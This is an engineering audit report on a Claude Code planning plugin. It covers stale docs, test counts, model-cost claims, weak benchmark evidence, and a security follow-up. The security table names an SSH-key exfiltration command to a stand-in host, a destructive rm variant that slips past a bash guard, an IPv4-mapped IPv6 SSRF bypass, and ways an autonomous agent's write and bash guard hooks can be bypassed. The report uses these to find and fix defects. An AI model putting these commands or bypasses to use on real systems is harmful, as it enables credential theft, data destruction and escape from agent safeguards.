voyage/docs/devils-advocate-results.md

# Devil's-advocate results — adversarial cold audit of Voyage

**Run:** S14, 2026-06-18. **Method:** Dynamic Workflow (`Workflow` tool), 13 agents @ `effort: high`, Opus 4.8.
**Shape:** 6 adversarial dimensions (D1–D6), each `attack` (strongest case AGAINST) → `rebut` (steelman defense → STANDS/WEAKENED/REFUTED) → 1 synthesis. ~905k subagent tokens, 9.3 min.
**Plan:** `docs/devils-advocate-plan.md`. **Scope:** audit only — findings + recommendations, NOT an implementation session. Run ID `wf_4af87c2f-d4e`.

> **Read this caveat first.** This is a *cold, hostile* audit that was instructed to prove Voyage is over-engineered/wrong/unmaintainable, then to rebut itself honestly. Verdicts are the rebuttal pass's, not gospel. The audit caught a factual error in one of its OWN findings during rebuttal (D5 "0 refs" → REFUTED), which is a reminder that some cited `file:line` counts from the attack agents may be imprecise. I (main context) **independently re-verified** the load-bearing MAJOR claims — see the **Verification log** at the bottom. Everything else is reported as the audit found it.

---

## Bottom line (overall verdict)

**Voyage survives as a functioning, disciplined, but over-documented and under-measured plugin.** It is not fraudulent or broken. But its self-description is materially inaccurate, and its flagship value proposition is unproven where it was actually tested. The strongest honest charges are concentrated and cheaply fixable:

1. The README sells "cheap Sonnet swarms" while **every one of the 24 agents ships as Opus** — on a section marketed as "observable in the code, not aspirations."
2. The headline counts are **stale by up to 6×** (109 vs 683 tests, 23 vs 24 agents, 5 vs 7 hooks) and unguarded by the doc-consistency test that exists to prevent exactly this.
3. The **NW2 "POSITIVE" verdict** rests on a single un-archived bake-off whose raw per-run data was never committed and whose *primary* fidelity metric actually failed and was re-derived post-hoc.
4. The **brief PUBLIC-CONTRACT framing defense is bypassable** by writing a smaller version number (`brief_version: 2.1`).

Against that, the plugin shows genuine engineering hygiene the attack under-credited: the dormant synthesis-agent is a clean *measured-and-declined prune-in-place* (the opposite of accretion); the EVALUATE-parked topology decisions are honestly staged, not frozen on a dead premise; the auto-mode classifier risk was *discovered-and-priced*, not ignored; and the framing BLOCKER **does** hard-fail even in soft mode.

**The deepest problem is not over-engineering — it is an unaudited scoreboard.** A plugin whose entire pitch is contract-conformance and filesystem-validated rigor cannot keep its own test count, agent count, model claims, and version references straight — and, tellingly, its author did not dogfood it on its own upgrade. **Ship-worthy machine; the docs need a truth-pass and the central context-engineering claim needs either a real measurement or a humbler sentence.** Crucially, the audit never tested whether the happy path produces *good plans* — the question that matters most remains open (see Blind spots).

---

## Survivors — ranked by severity × actionability

Critiques that **STAND** or are **WEAKENED-but-real** after the rebuttal pass. (Severity = residual after best defense.)

### MAJOR × HIGH actionability — fix first

| # | Finding | Dim | Verdict | Evidence (verified ✓) |
|---|---------|-----|---------|----------|
| 1 | **Cost claim is false by default.** README sells "Sonnet runs exploration/review swarms / front-loads cheap Sonnet work" in 6 places, but all 24 agents hardcode `model: opus` and `trekplan.md` concedes sub-agents are "still pinned to opus." Sold under "observable in the code — not aspirations." | D6/D1 | STANDS | README.md:195,223,266,785,804,857; all 24 `agents/*.md` `model: opus` ✓; trekplan.md:922,968 |
| 2 | **README hard counts stale & unguarded.** Architecture block: 23 agents (actual **24**), 5 hooks (actual **7** scripts / 6 events), **109** node:test cases (actual **683**, a 6× miss on the line that pitches "npm test is the fork-readiness gate"). | D6 | WEAKENED | README.md:804,807,809 ✓; `npm test` = 683/681/2 ✓ |
| 3 | **Bake-off data never committed.** NW2 "POSITIVE" cites a 6-run token/wall/finding table + jaccard ladder (0.41/0.71/0.86/1.00), but no per-run JSON (`a1.json`..`b3.json`) exists in repo or git history. `bakeoff-fidelity.mjs` requires them as input → the numbers cannot be regenerated, audited, or falsified. | D2 | STANDS | scripts/bakeoff-fidelity.mjs:17-19,98-101; docs/T2-bakeoff-results.md:131-135; f7c8aa4 stat |
| 4 | **Self-reported test count wrong.** STATE.md:43 + the audit plan claim 697 (695 pass); runner reports **683 (681 pass, 2 skip)**. Same unaudited-self-description class the plugin's conformance discipline exists to catch. | D1/D6 | STANDS | STATE.md:43; `npm test` ✓ |
| 5 | **Three reference-only orchestrator agents ship with an `Agent` tool grant** while their bodies declare "reference, not a runnable sub-agent" and no command invokes them. A harness could dispatch an agent the plugin says must never run. Trivial, untaken fix. | D4 | STANDS | agents/{planning,research,review}-orchestrator.md; review-orchestrator.md:226-227; trekreview.md:33 |
| 6 | **`plan-critic` "9 dimensions" wrong in 3 places** (README.md:223,266; CLAUDE.md:46) — agent defines **10** numbered dimensions, the 10th a hard gate (manifest quality). Unpinned. | D6 | STANDS | agents/plan-critic.md:170 |
| 7 | **README self-contradicts brief-reviewer dimension count:** README.md:158 says "five dimensions" while README.md:15 headlines the **6th** (memory alignment) as the v5.5 flagship; agent + CLAUDE.md say six. Exactly the consistency defect brief-reviewer exists to flag. | D6 | STANDS | README.md:15,158; agents/brief-reviewer.md:39,155; CLAUDE.md:42 |
| 8 | **Stale model string in a live contract:** trekplan Phase 8 inline-sealing rationale cites "Opus 4.7" while the plugin elsewhere states opus = Opus 4.8. Sealing logic is sound; only the parenthetical is wrong. | D4 | STANDS | trekplan.md:574; CLAUDE.md:56 |
| 9 | **PUBLIC-CONTRACT versioning cites a non-existent release:** HANDOVER-CONTRACTS.md:46,99 + CLAUDE.md:9 say "v5.4 froze the brief_version 2.1 baseline," but v5.2–5.4 were never shipped (CHANGELOG jumps 5.5.0→5.1.1). No consumer stranded (compat keys off `brief_version`), but a doc trading on contractual precision cites a release nobody can install. | D2 | WEAKENED | CHANGELOG.md:7-9,63; HANDOVER-CONTRACTS.md:46,99; CLAUDE.md:9 |

### MAJOR × MEDIUM/LOW — structural, need design not just edits

| # | Finding | Dim | Verdict | Evidence |
|---|---------|-----|---------|----------|
| 10 | **Framing enforcement is producer-elective.** All three `brief_version 2.2` framing layers are wrapped in `atLeast22`; there is **no** minimum-version gate (grep confirms); 2.0/2.1 briefs are blessed as fully valid. Any producer ships an intent-misaligned brief by declaring `2.1` and the entire framing defense evaporates with no warning. The contract advertises producer-agnostic enforcement but enforces only against the one producer (`/trekbrief`) that hardcodes 2.2. | D3 | STANDS | brief-validator.mjs:123-140; HANDOVER-CONTRACTS.md:101 |
| 11 | **Memory-alignment gate is a no-op by default.** Score-5-on-no-context is indistinguishable to the Phase-4e gate from score-5-on-verified-alignment; whether memory is gathered is an unbacked LLM-judgment step with no validator backstop. In the common (memory-less / external-producer) case the gate always passes. Defensible as *portability* (fail-open), but a passing score is not evidence of alignment. | D3/D1 | WEAKENED | brief-reviewer.md:168-169; trekbrief.md:492-497,541-544 |
| 12 | **Layer 1 framing value is self-attested, enum-validated only.** No cross-check against reality; its triangulation partner (Layer 2 memory) is inert in the no-memory case → framing is an unchecked assertion carried as pipeline source-of-truth. The "no default / unskippable" design blunts the tired-one-click vector but doesn't make the self-label true. | D3 | WEAKENED | trekbrief.md:114-130; brief-validator.mjs:110-116 |
| 13 | **NW2 "POSITIVE" = +4.4% tokens, +54% wall-time, and the one cited upside ("frees main context") never measured.** The bake-off captured subagent tokens (the axis a coordinator-adding Workflow can only tie-or-lose); Δ main-context (the decision-relevant quantity) was left unmeasured. The +15% POSITIVE bar **was** pre-registered (so not goalpost-moved), but the win rests on unquantified benefit. | D1/D2 | WEAKENED | T2-bakeoff-results.md:152-170 |
| 14 | **NW2 fidelity verdict salvaged post-hoc.** Pre-registered PRIMARY metric (triplet-level finding-set equivalence) scored **0/9** strict-equivalent, 0.41 jaccard; POSITIVE reached by reporting the looser (file,rule_key)=0.71, labeling the 0/9 a "metric-calibration artifact," then recommending future metrics use the coarser granularity that cleared. Within-arm control makes "artifact" plausible, but it was decided after seeing the result. | D2 | WEAKENED | T2-bakeoff-results.md:131-135,172-185; T2-cc27-workflow-substrate.md:170 |
| 15 | **Context-Engineering flagship unproven where tested.** The one experiment (NW3) measured Δ main-context ≈ 0 and shipped dormant. The Δ=0 is real but narrowly scoped to delegating only the Phase-7 read; the actual fan-out relief — the claim that matters — was never measured. The swarm topology's central justification has no positive measurement behind it, only a structural argument + a declined experiment. | D1 | WEAKENED | T1-synthesis-poc-results.md:16-30,88-103 |
| 16 | **Voyage was not used to build Voyage.** Much of the v5.5 arc was research/meta-work the pipeline doesn't target (blunts it), but genuinely pipeline-shaped code sub-tasks (armB script, synthesis schema, fidelity libs) were also hand-orchestrated. Revealed-preference signal for those is real. | D1 | WEAKENED | devils-advocate-plan.md:8; W1/T1/T2 docs |

### MINOR — cheap correctness / leanness nits

| # | Finding | Dim | Verdict | Evidence |
|---|---------|-----|---------|----------|
| 17 | **Prose-pin bloat.** `doc-consistency.test.mjs` (67 tests, ~9.5% of suite) is predominantly `.includes/.match` on free prose, churned across 26 commits, flips red on benign rewording. The structural sub-tests (row-count == file-count, command coverage) are genuine; the headline test-count over-credits coverage. | D5/D1 | WEAKENED | tests/lib/doc-consistency.test.mjs:1-6 |
| 18 | **Chartered auto/bypass classifier check skipped.** "Classifier interference: 0" was reported satisfied, but the auto/bypass-mode re-run that W1 made an explicit guard was skipped on a technicality ("mode not settable in-session") and footnoted rather than gating. The mode that matters for headless trekreview remains untested. | D2 | STANDS | T2-bakeoff-results.md:146-149; W1-narrow-wins-plan.md:29-32 |
| 19 | **NW3 decline dressed in pseudo-quant scaffolding.** The faithful Δ≈0 is genuinely *structural* (holds with no tokenizer), but it is surrounded by a sweep table + break-even + a "15% adopt-floor" that contradicts the plan's 30% bar, over a chars/4 estimate with a swept (never API-measured) BASE. Conclusion sound, scaffolding inconsistent. | D2 | WEAKENED | synthesis-measure.mjs:41-42; T1-synthesis-poc-results.md:12-14,94; W1-narrow-wins-plan.md:17 |
| 20 | **Experiment scaffolding outlived its experiment.** 5 of 7 `scripts/` (~89KB, incl. `synthesis-measure.mjs` for the declined agent) are one-off PoC/measurement code on no command path, each referenced only by its own test, carrying 27 live tests. Partly defensible as reproducibility artifacts; the global continuity convention says such history belongs in git. | D5 | WEAKENED | scripts/synthesis-measure.mjs:2-3; tests/scripts/synthesis-measure.test.mjs |
| 21 | **CHANGELOG cross-doc wart.** CHANGELOG.md:440 advertises "711 pass … +5 Playwright e2e" while README.md:595 documents Playwright e2e as removed in v5.0.0. (The "no number matches reality" framing was refuted — historical snapshots legitimately diverge from HEAD.) | D6 | WEAKENED | CHANGELOG.md:440; README.md:595 |

---

## REFUTED — critiques that did NOT survive the rebuttal

These are recorded so they are not re-litigated. Each was a plausible attack that the defense (and, where noted, my own check) genuinely defeated.

1. **"8 of 14 docs are dead scratch; the decision-matrix has 0 inbound refs" (D5).** *False on its lead exhibit.* `cc-upgrade-2.1.181-decision-matrix.md` has **9** inbound refs incl. three production command files (trekplan, trekbrief, trekresearch) + three orchestrator agents + CHANGELOG — the *most*-referenced of the eight. Only `devils-advocate-plan.md` (the just-created S14 plan) cleanly matches "0 inbound." A much smaller "a couple of decision docs could move to git" survives at MINOR.
2. **"Orchestrator descriptions assert the FALSE premise as STANDING rationale" (D4).** The descriptions frame it as *discharged history* in the same sentence-group ("Historically… As of CC 2.1.172 sub-agents CAN spawn…, so a redesign is under evaluation") — exactly what CC-01 prescribed (replace with truth + forward pointer). A dispatching model is steered *away* from spawning, not toward the falsehood. The duplication is a real but MINOR doc-style critique (→ became survivor #5's narrower form).
3. **"The dormant synthesis-agent is ceremony spent on sand" (D1/D5).** It is the strongest *counter*-example: built → measured (Δ≈0) → found NEGATIVE → deliberately not wired, with a stated re-activation trigger and a schema-backed, tested contract. Disciplined negative-result hygiene. The residual (it still ships in the distributable, inflating counts) is a MINOR leanness nit.
4. **"The auto-mode classifier is a NEW liability the plugin is trading into" (D4).** Inverts the evidence: the plugin *discovered and logged* the risk via a cheap probe in a path it has **not** adopted, priced it as a cost against delegation, and declined the trade. Verification discipline, not a hidden liability.
5. **"Soft-mode read means framing/TL;DR add no enforcement at the boundary" (D3).** Refuted *for framing specifically*: `BRIEF_MISSING_FRAMING` is pushed **unconditionally** to `errors[]` (no strict/soft branch), and soft mode means "warnings don't block, errors DO" — so a 2.2 brief missing framing hard-fails even in soft read. (The broader "external 2.0/2.1 producer gets nothing" point survives as survivor #10.)
6. **"No published test count matches reality" (D6/D2).** Half-refuted: a CHANGELOG is an append-only point-in-time log; historical snapshots (503/516/518/608/711) *correctly* diverge from current 683. The genuine residual is the narrow Playwright cross-doc contradiction (→ #21).
7. **"NW2's +15% bar was set AFTER the run to make a tie pass" (D2).** The +15%/+30% thresholds were pre-registered before the run, which predicted token cost "≈ wash." Not a moved goalpost. What survives is the distinct, separately-filed point that the cited upside was never *quantified* (→ #13).

---

## Top changes — prioritized

1. **FIX THE COST CLAIM** (MAJOR × HIGH). Either flip exploration/review agent frontmatter to `model: sonnet` (makes the README true by default — the cheaper fix a cost-conscious user expects) **or** rewrite the 6 README claims to state Opus-by-default and Sonnet requires `--profile economy` / `phase_signals.model`. Add a doc-consistency pin that fails if README says "Sonnet exploration" while agent files say opus.
2. **FIX THE HARD COUNTS** (MAJOR × HIGH). README → 24 agents / 7 hooks / 683 tests; correct STATE.md 697→683 and the plan's 697. Add doc-consistency pins for agent-count, hook-script-count, and a tolerance-banded or dynamically-computed test-count so the Architecture block cannot silently drift.
3. **COMMIT OR DOWNGRADE THE BAKE-OFF DATA** (MAJOR × HIGH). Commit the raw arm outputs (`a1.json`..`b3.json`) under `tests/fixtures/bakeoff-rich/runs/` + a test that re-derives the medians/jaccards — or relabel "POSITIVE" to "defensible as opt-in, single un-archived run."
4. **ADD A MIN-VERSION GATE OR DOCUMENT THE HOLE** (MAJOR × MEDIUM). Optional `--min-brief-version` at the `/trekplan` + `/trekresearch` boundary (warn when an older brief sidesteps framing); document in HANDOVER-CONTRACTS.md that pre-2.2 briefs receive zero framing enforcement.
5. **MAKE THE MEMORY GATE HONEST** (MAJOR × MEDIUM). Emit a `memory_alignment.status` distinguishing "N/A (no memory)" from "verified aligned"; document that in memory-less environments the wrong-premise defense is Layer 1 + Layer 3 only.
6. **STOP OVERSELLING THE FLAGSHIP** (MAJOR × MEDIUM). Either measure the fan-out's real main-context relief with a tokenizer/API run, or soften README/CLAUDE.md to "asserted, not yet measured." Relabel NW2 from POSITIVE to opt-in-defensible and disclose its primary fidelity metric failed and was re-derived post-hoc.
7. **CHEAP CORRECTNESS NITS** (MINOR × HIGH). Drop the `Agent` grant from the three reference-only orchestrator agents; `plan-critic` 9→10 dimensions; README brief-reviewer 5→6 dimensions; trekplan "Opus 4.7"→"4.8"; replace the non-existent "v5.4" contract-freeze references with "v5.5.0."
8. **PRUNE PROSE-PIN BLOAT** (MINOR × MEDIUM). Keep the structural cross-file invariant tests; prune pure phrase-pins that break on reword; report behavior-test count separately from prose-pin count.
9. **RUN THE CHARTERED AUTO/BYPASS CLASSIFIER CHECK** (MINOR × MEDIUM) before treating classifier interference as retired — or move it from "metric satisfied" to "open residual."

---

## What this audit might have missed (completeness critic)

The audit was instructed to critique its own plan. It did:

1. **The 6 dimensions are introspection-biased.** D1/D2/D4 all interrogate the v5.5 self-measurement arc (synthesis, bake-off, decision matrix) and **overlap massively** — three dimensions largely re-attack the same NW2/NW3/CC-26/27 docs. This over-weights recent meta-work and **under-weights the product surface a user actually touches.** There is no dimension auditing whether the **core happy path** (`/trekbrief → /trekplan → /trekexecute` on a real feature) produces correct, useful plans/code. *The audit proved the docs are inconsistent and the experiments were narrow — but never tested whether the pipeline WORKS end-to-end. That is the question a prospective user cares about most, and it remains open.*
2. **No security / safety dimension.** This plugin spawns autonomous agents, has `--gates` autonomy primitives, OTLP export with stated SSRF mitigation, and hooks that gate Bash/Write. None was audited for actual safety (does the SSRF mitigation work? do the pre-bash/pre-write hooks actually block? can a malicious brief drive headless execution?). For an autonomous-execution plugin, the **highest-consequence blind spot.**
3. **No empirical cost measurement.** The entire cost debate (D1/D6) was argued from frontmatter strings and README prose, never from the `trek*-stats.jsonl` the plugin itself publishes. The single most decision-relevant number (what one `/trekplan` run actually costs on Opus vs Sonnet) was never pulled from real run data — so the cost critiques remain *inferential*.
4. **The audit accepted the plugin's own metrics** (Δ main-context, jaccard, verdict-match) as the terms of debate, then critiqued within them. It never asked: are these the right metrics at all? **Plan quality** (does the adversarial review catch real bugs?) was never measured by anyone — the whole value proposition is *assumed* by both attack and defense.
5. **Trust in unverified citations.** Refuted/weakened verdicts were taken largely on trust where the agents couldn't independently re-verify every line. The D5 "0 refs" error that was caught suggests other cited counts may also be imprecise. (Main context independently re-verified the load-bearing MAJORs — see below — but not all ~1672 lines of trekexecute or every cited doc line.)
6. **No user-facing ergonomics / onboarding dimension.** 7 commands, 24 agents, 14 docs, a profile system, `--gates`, brief_version axes — the cognitive load on a new operator is itself a product risk that revealed-preference (the author used bespoke docs) hints at, but the plan never made first-class.
7. **The audit conflates "documentation defect" with "product defect" throughout.** Most MAJOR survivors are doc-accuracy issues — real and cheap to fix, but the plan never separated "the docs lie" from "the machine is broken," leaving the genuinely important question (is the runtime sound?) unanswered.

---

## Verification log (Verifiseringsplikt)

**Independently re-verified by main context this session (not taken on the agents' word):**

| Claim | Method | Result |
|-------|--------|--------|
| Test count is 683/681/2, not 697/695/2 | `npm test` (full run) | ✓ **683 tests, 681 pass, 0 fail, 2 skipped** — STATE.md:43 + plan are wrong |
| All exploration/review agents are Opus, none Sonnet | `grep -h "^model:" agents/*.md \| sort \| uniq -c` | ✓ **24 `model: opus`, 0 `sonnet`** |
| Agent file count is 24 (README says 23) | `ls agents/*.md \| wc -l` | ✓ **24** |
| README sells "Sonnet" exploration/review | `grep -n Sonnet README.md` | ✓ lines **195, 223, 266, 785, 857** + 804 "(sonnet for exploration + review…)" |
| README hard counts stale | `grep -nE "specialized agents\|node:test\|hooks" README.md` | ✓ **804** "23 specialized agents", **807** "5 hooks", **809** "109 node:test cases" |

**Taken from the workflow agents, spot-checked but NOT exhaustively re-read by main context:** the internal `file:line` citations in `docs/T2-bakeoff-results.md`, `docs/T1-*`, `lib/validators/brief-validator.mjs` (the `atLeast22` guard + unconditional `BRIEF_MISSING_FRAMING`), `agents/brief-reviewer.md`, `commands/trekbrief.md`, and the absence of `a1.json`..`b3.json` in git history. These are reported as the audit found them; they are consistent with the verified anchors above but were not each independently confirmed line-by-line.

**Known imprecision:** the attack agent for D5 asserted `cc-upgrade-2.1.181-decision-matrix.md` has "0 durable refs"; the rebuttal pass found **9** and REFUTED it. Treat raw counts inside individual attack findings with that caution.

---

## Scope note

This is an **audit** — findings + recommendations only. Per the plan's scope guard and the operator's run mode, **no Voyage code or docs were changed** on the basis of these results (the one exception: STATE.md's stale `697` test count is corrected at session end, since STATE is continuity state, not plugin surface, and propagating a now-verified-wrong number would be its own defect). Acting on the top changes above requires a fresh operator go-ahead.

---

## Addendum — post-audit verification of finding #1 (2026-06-18, operator-prompted)

The operator challenged finding #1 ("README sells cheap Sonnet but agents are opus"), correctly recalling that Voyage has a **per-phase model-selection system** (profiles + `phase_signals.model`). Main context verified the actual model-resolution path against the code. Result: **the operator's recollection is right, the finding still STANDS, and verification surfaced a NEW defect the audit missed.**

1. **The per-phase system is real.** `lib/profiles/resolver.mjs#resolveProfile()` + `phase-signal-resolver.mjs` resolve a model per *phase* (= command). At Agent-spawn sites, the resolved phase model is used if set; otherwise the agent's `model: opus` frontmatter (trekplan.md "Cost" hard rule). The model is **uniform per phase** (orchestrator + swarm share it) — there is **no** mechanism to run the orchestrator on opus and the swarm on sonnet within one phase, so the README cost-prose's "Opus orchestrates / Sonnet runs the swarms" split is **not an achievable configuration**, independent of the count defect.

2. **No default profile makes exploration/review Sonnet.** `balanced` and `premium` both set `plan → opus` and `review → opus` (verified: `lib/profiles/balanced.yaml`, `premium.yaml`). Only opt-in `economy` sets `plan/review → sonnet`. So under every *default*-candidate profile the exploration AND review swarms run on **Opus**. README's unconditional "6–8 Sonnet exploration agents" / "Sonnet runs the exploration and review swarms" (195/223/266/785/857) is false for every default. **Finding #1 STANDS and is reinforced.**

3. **NEW defect (audit missed it): code default profile ≠ documented default.** `resolveProfile()` returns `{ profile: 'premium', profile_source: 'default' }` (resolver.mjs:156; docstring: "Order: --profile flag > VOYAGE_PROFILE env > 'premium'"). But README.md:759 ("`balanced` (default)") + the lookup-order list + `docs/profiles.md:15,18,121` ("`balanced` is the v4.1 default", "the default tier is locked") all say the default is **`balanced`**. **Code says premium; all docs say balanced** — a real code-vs-docs contradiction with cost/behavior impact (premium runs brief+execute on opus and turns external research ON; balanced does not), unguarded by `doc-consistency.test.mjs`. Severity: **MAJOR**. Most likely resolution: docs reflect design intent (balanced), so the code default is the bug — but confirm against git history before fixing.

**Corrected fix for finding #1 (supersedes "flip vs rewrite"):** (a) resolve the default-profile mismatch so code + README + `docs/profiles.md` agree on one default (likely `balanced`); (b) rewrite the README cost narrative to describe the *actual* per-phase-profile mechanism (default runs plan/review on Opus; `economy` runs all-Sonnet; no orchestrator-vs-swarm split); (c) add doc-consistency pins for the default-profile name and the per-phase model claims. This keeps Opus-as-default and does **not** require flipping any agent frontmatter.

---

## S21 resolution — Blind spot #2 (security/safety) audit (2026-06-19, operator-gated)

Blind spot #2 ("no security / safety dimension") was the audit's self-named highest-consequence gap. Operator scope for this session was **security-core**: fix genuine defects, honestly record the rest. The four sub-questions and their dispositions:

| # | Question | Verdict | Disposition |
|---|----------|---------|-------------|
| 1 | **Does the SSRF mitigation work?** | ⚠️ one real, bounded bug | Literal-encoding bypasses I first suspected (decimal `2130706433`, hex `0x7f000001`, octal, trailing-dot `127.0.0.1.`) are **already caught** — the WHATWG `URL` parser canonicalizes them to dotted-decimal before `validateOtlpEndpoint` classifies. The genuine gap: **IPv4-mapped IPv6 literals** (`::ffff:127.0.0.1`, `::ffff:192.168.x`, `::ffff:169.254.169.254`) render as `::ffff:HHHH:HHHH` and were matched by neither the loopback set, the RFC-1918 regex, link-local, nor `HARD_BLOCKED_HOSTS` → they passed over https and would reach loopback / private / **cloud-metadata**. The control's own comment promised to "PERMANENTLY block" metadata; the mapped form defeated it. **FIXED** (see below). |
| 2 | **Do pre-bash / pre-write hooks actually block?** | ✅ yes, for their target patterns | `bash-guard` + `path-guard` tests confirm every BLOCK rule fires. **Verified residuals (by design — advisory rails, `fail-open`, defense-in-depth, NOT a security boundary):** (a) `pre-write-executor` is wired to `matcher: "Write"` only — `Edit` / `NotebookEdit` and `echo >> ~/.zshrc` via Bash bypass it (Edit can only modify pre-existing sensitive files, not create them; Bash-redirect is the larger hole); (b) `pre-bash-executor` regexes have completeness gaps (e.g. `rm -rf --no-preserve-root /` slips the `rm`-pattern). Not fixed: closing every regex/tool gap is an unbounded rabbit hole, and CC's own per-Bash permission prompt is the primary gate; these hooks are the second layer. |
| 3 | **Can a malicious brief drive headless execution to harm?** | ✅ catastrophe-blocked, exfil NOT blocked | The hooks stop catastrophic *local destruction* (`rm -rf /`, `mkfs`, fork bombs, raw-device writes). They do **not** prevent *data exfiltration* — `curl --data @~/.ssh/id_rsa https://evil.example` is not a blocked pattern. This requires the operator to accept a malicious brief **and** run it headless (no human gate). Documented as an inherent limit: a regex-hook layer cannot fully sandbox an autonomous executor. No code change. |
| 4 | **Chartered auto/bypass classifier check (Survivor #18)** | 📝 honest-residual recorded | The W1 charter made an `auto`/`bypass`-mode re-run an explicit guard (trekreview runs headless under those modes); the T2 bake-off skipped it on a true technicality (permission mode is operator-set, not settable in-session) and footnoted rather than gating. Per recommendation #9, **moved from "metric satisfied" → "open residual"** in `T2-bakeoff-results.md §3` (guarded by a new `doc-consistency` pin). Not runnable from this interactive session; stays open until measured from a genuinely headless run. |

**Code fix (finding #1).** `lib/exporters/endpoint-validator.mjs`: added `mappedV4(host)` — after IPv6 bracket-strip, an IPv4-mapped literal (`::ffff:a.b.c.d` dotted **or** `::ffff:HHHH:HHHH` hex-pair) is decoded to its embedded dotted-decimal IPv4, and every guard (loopback / RFC-1918 / link-local / `HARD_BLOCKED`) classifies on **that**. TDD: 4 new tests in `tests/hooks/otel-export-validators.test.mjs` (failing-first) — mapped loopback → `LOOPBACK_REJECTED`, mapped RFC-1918 → `RFC1918_REJECTED`, mapped metadata → `HARD_BLOCKED` (even with `VOYAGE_OTEL_ALLOW_PRIVATE=1`), and mapped **public** `::ffff:8.8.8.8` still valid over https (no over-block). Threat model remains narrow (endpoint is operator-set via `VOYAGE_OTEL_ENDPOINT`; export is opt-in via `VOYAGE_EXPORT_MODE`, default `off`; a brief cannot set env) — the fix closes a control under-delivering its documented contract, not a brief-reachable hole.

**Forward-pointer (FLAGGED, NOT done — adjacent doc/code defect found while auditing the autonomy surface; this is S21b, not S21 security-core):** `operations.md:15` claims `autonomy-gate.mjs` runs the state machine `idle → approved → executing → merge-pending → main-merged`; the actual code states are `idle → gates_on/auto_running → paused_for_gate → completed`, and the `--gates {open|closed|adaptive}` table doesn't match the boolean (`--gates true|false`) the CLI shim and command docs use. Recommend a truth-pass + anti-false-claim pin in a follow-up session.

---

## S22 resolution — Blind spot #1 + #4 (happy-path plan quality + review efficacy) (2026-06-19, operator-gated)

Blind spots #1 ("the audit never tested whether the happy path produces *good plans*") and #4 ("plan quality — does the adversarial review catch real bugs? — never measured by anyone") were the audit's self-named highest-value open questions. S22 measured them by **dogfooding `/trekplan → /trekexecute`** on a real, small Voyage feature (`voyage-doctor`, a project-coherence validator) against a **pre-registered ground-truth scorecard committed before the run**. Full record + verification log: **`docs/S22-happy-path-dogfood.md`**.

**Verdicts.** Q1 (plan quality): the happy path produces a high-quality, executable plan — execute succeeded (15/15 new tests, full suite green, CLI works) — **but not a self-sufficient one**: plan-critic scored it C (71) vs the planner's self-score B+ (88), and 3 majors had to be fixed before a clean execute. Q4 (review efficacy): **demonstrated — the adversarial review caught 3 real majors the Opus-4.8 planner + 7-agent swarm genuinely missed** (an underspecified `research/`-dir path, an untested top-risk, a name contradiction), none planted, **none in the pre-registered oracle** — the defects lived in plan→execute handoff fidelity, which neither planner nor pre-registrar anticipated. scope-guardian returned ALIGNED (all SC/NG verified).

**Honest caveats (do not over-claim):** (1) **n = 1**, one small feature in a domain the planner knew well; (2) the pre-registration was committed *into the explored repo*, so the Phase-5 swarm **read the oracle** (R1–R7 leaked) — robustly caveated, and the Q4 finding survives because the caught defects were *outside* R1–R7; (3) **no token/$ measurement** (Blind spot #3 still open); (4) the `voyage-doctor` code worked but was **discarded per scope** (deliverable = measurement).

**Pipeline defects the dogfood surfaced (NEW — the S14 audit never ran the pipeline):**
1. **MAJOR — `/trekplan` Phase 9 dedup is broken as documented.** plan-critic + scope-guardian are told to "write JSON to `/tmp/…out.json`" for `plan-review-dedup.mjs`, but both agents' frontmatter grants only `Read/Glob/Grep` — no `Write` — so the files are never created and the dedup step cannot run. Fix: grant the reviewers `Write`, or have the orchestrator persist their returned JSON before the dedup call.
2. MINOR — plan template emits `plan_version` as prose; `plan-validator` warns `PLAN_NO_VERSION` (template/validator mismatch).
3. NOTE — installed-plugin/repo version skew (cache v5.1.1 vs repo v5.5.0); dogfooding the installed plugin doesn't test the dev tree.

These are **recorded, not fixed** (S22 scope was measurement; each is its own task under the one-task-per-session run-mode). Decision-matrix-style dispositions are **not** test-pinned.